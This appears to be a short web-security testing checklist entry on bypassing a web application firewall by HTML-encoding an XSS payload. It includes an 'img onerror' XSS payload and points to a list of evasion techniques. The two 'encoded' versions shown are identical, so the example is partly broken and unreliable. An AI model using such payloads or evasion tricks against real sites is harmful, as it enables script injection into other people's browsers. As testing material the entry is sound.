V5 - Validation/Sanitization
WAF Bypass
POC
Observe what payloads WAF blocks and HTML encode the payload to bypass WAF
Standard: ">
Encoded: "><img src=x onerror=confirm()> (General form)
Encoded: "><img src=x onerror=confirm()> (Numeric reference)
For more techniques, please check:
https://github.com/0xInfection/Awesome-WAF#evasion-techniques
Note: This is a broad concept, above payload is just an example
Bypass WAF with Unicode Seperators pwn3d
For more techniques, please check: https://github.com/0xInfection/Awesome-WAF#evasion-techniques Note: This is a broad concept, above payload is just an example
Impact
High-Medium
Likelihood
Medium-Low
